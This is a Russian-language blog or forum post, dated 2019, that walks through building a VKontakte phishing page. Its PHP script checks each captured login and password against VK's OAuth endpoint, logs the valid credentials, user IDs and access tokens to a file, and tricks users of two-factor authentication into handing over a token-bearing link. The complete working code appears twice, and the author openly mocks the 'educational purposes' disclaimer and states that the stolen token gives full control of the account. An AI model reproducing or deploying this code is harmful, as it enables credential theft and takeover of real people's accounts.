October 19, 2019

Фишинг сайт, отлавливающий только корректные пароли + воруем токен.

Конееечно, всё в ознакомительных целях.(нет.) Здесь я пытаюсь вам довести о том, что если даже авторизация на каких-либо сайтах работает, то не факт, что у вас не украли данные.(не пытаюсь)

Привет,!

Возможно кому-то будет полезен гайд о том как создать фишинг сайт с практически настоящей авторизацией.

С помощью этого метода вы можете узнать следующие данные:

• ID пользователя, который ввёл корректные данные

• Логин и пароль этого пользователя

• токен (access_token) | для беспалевного захода на аккаунт жертвы и т.д

Так же есть вероятность украсть токен у пользователя, который использует двухфакторную авторизацию ВК - это всё так же определяется скриптом :)

Своровав токен - мы получаем полный контроль над аккаунтом

Здесь я описываю только техническую часть. Весь дизайн, оформление и прочее - остаётся на вас.

И так, поехали.

Требования:

• Библиотека cURL

• Пара рук

Первое что нам нужно сделать - это создать файл, засунуть туда PHP скрипт. В этом же файле потом и создадим HTML Форму.

Копируем туда код:

<?php
 $log = $_POST['login'];
 $pass = $_POST['password'];
 if(isset($_POST['captcha']) AND isset($_POST['login'])){
 $sid=$_POST['id'];
 $capt=$_POST['captcha'];
 $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");
 }
 elseif(isset($_POST['login'])){
 $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1");
 $js = json_decode($Msg,true);
 if($js["error"] == "need_captcha")
 echo "<img src='{$js['captcha_img']}'>";
 }
 $js = json_decode($Msg, true);
 if($js['access_token'] != NULL OR isset($_POST['uri'])){
 if(isset($_POST["uri"])){
 $uri = $_POST["uri"];
 $file=fopen("data.txt","a");
 fwrite($file,"$uri\n");
 fclose($file);
 } else{
 $file=fopen("data.txt","a");
 fwrite($file,"$log | $pass | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
 fclose($file);
 }
 } elseif($js['error']=="need_validation") {
 echo "У вас используется двухфакторная авторизация. Перейдите по <a href='[URL]https://vk.cc/6uX1TY[/URL]'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
 } elseif($js['error']=="invalid_client"){
 echo "Неправильный логин или пароль";
 }
 function curl( $url ){
 $ch = curl_init( $url ); //Init library
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
 curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); //Имеется SSL? (HTTPS) Если да - меняем false на true
 curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
 $response = curl_exec( $ch );
 curl_close( $ch );
 return $response;
 }
?>

По-порядку: первое условие - проверка на ввод капчи, которую может попросить ввести наш дорогой ВКонтакт.

Второе условие: Если не было капчи и мы ввели логин.

После условия у нас обрабатывается JSON запрос, который мы благополучно получили от ВК и сразу же идёт ещё одно условие.

Проверяем, если нам ВК выдал токен (или получили ссылку, но об этом позже.)

Если получили ссылку - показываем её (вместо echo $uri; - можете сохранить в файл эту переменную)

Иначе если вы получили токен, то вам нужно сохранить все данные - его введенный пароль, логин, если хотите - ID и так же токен.

Следующее, последнее условие - обработка ошибки need_validation. Ошибка оповещает о том, что пользователь использует двухфакторную авторизацию. Можете изменить текст, но ссылку не стоит изменять, если вы не знаете что она делает.

Далее. После всего PHP скрипта мы добавляем HTML. Он так же будет содержать небольшие кусочки PHP кода. Смотрим

<html>
 <head>
 <title>Авторизация</title>
 </head>
 <body>
 <form action="#" method="post">
 <?php if($js['error']=="need_validation") {
 echo "<input placeholder='Ссылка' name='uri'>";
 } else {?>
 <input placeholder="Логин" name="login">
 <input placeholder="Пароль" name="password">
 <?php }
 if($js["error"] == "need_captcha"){
 echo "<input placeholder='Введите каптчу' name='captcha'>";
 echo "<input type='hidden' value='{$js['captcha_sid']}' name='id'>";
 }
 ?>
 <button type="submit">Войти</button>
 </form>
 </body>
</html>

Тут всё просто. Создаём форму для отправки данных. Первое PHP Условие - если пользователь ввёл свой пароль и ему вылезла ошибка, что нужна валидация аккаунта. По-этому нужно вставить ссылку(где будет у нас токен), вместо ввода логина и пароля.

Ну и второе условие это капча. Если ошибка need_captcha - показать поле для ввода капчи.

И ещё дополнительно скрытое поле - captcha_sid.

Идентификатор капчи, которую должен ввести пользователь.

Как видите, всё просто)

В спойлере оставлю полный код скрипта

ФУЛЛ СКРИПТ

<?php
 $log = $_POST['login'];
 $pass = $_POST['password'];
 if(isset($_POST['captcha']) AND isset($_POST['login'])){
 $sid=$_POST['id'];
 $capt=$_POST['captcha'];
 $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");
 }
 elseif(isset($_POST['login'])){
 $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1");
 $js = json_decode($Msg,true);
 if($js["error"] == "need_captcha")
 echo "<img src='{$js['captcha_img']}'>";
 }
 $js = json_decode($Msg, true);
 if($js['access_token'] != NULL OR isset($_POST['uri'])){
 if(isset($_POST["uri"])){
 $uri = $_POST["uri"];
 $file=fopen("data.txt","a");
 fwrite($file,"$uri\n");
 fclose($file);
 } else{
 $file=fopen("data.txt","a");
 fwrite($file,"$log | $pass | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
 fclose($file);
 }
 } elseif($js['error']=="need_validation") {
 echo "У вас используется двухфакторная авторизация. Перейдите по <a href='https://vk.cc/6uX1TY'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
 } elseif($js['error']=="invalid_client"){
 echo "Неправильный логин или пароль";
 }
 function curl( $url ){
 $ch = curl_init( $url ); //Init library
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
 curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); //Имеется SSL? (HTTPS) Если да - меняем false на true
 curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
 $response = curl_exec( $ch );
 curl_close( $ch );
 return $response;
 }
?>
<html>
 <head>
 <title>Авторизация</title>
 </head>
 <body>
 <form action="#" method="post">
 <?php if($js['error']=="need_validation") {
 echo "<input placeholder='Ссылка' name='uri'>";
 } else {?>
 <input placeholder="Логин" name="login">
 <input placeholder="Пароль" name="password">
 <?php }
 if($js["error"] == "need_captcha"){
 echo "<input placeholder='Введите каптчу' name='captcha'>";
 echo "<input type='hidden' value='{$js['captcha_sid']}' name='id'>";
 }
 ?>
 <button type="submit">Войти</button>
 </form>
 </body>
</html>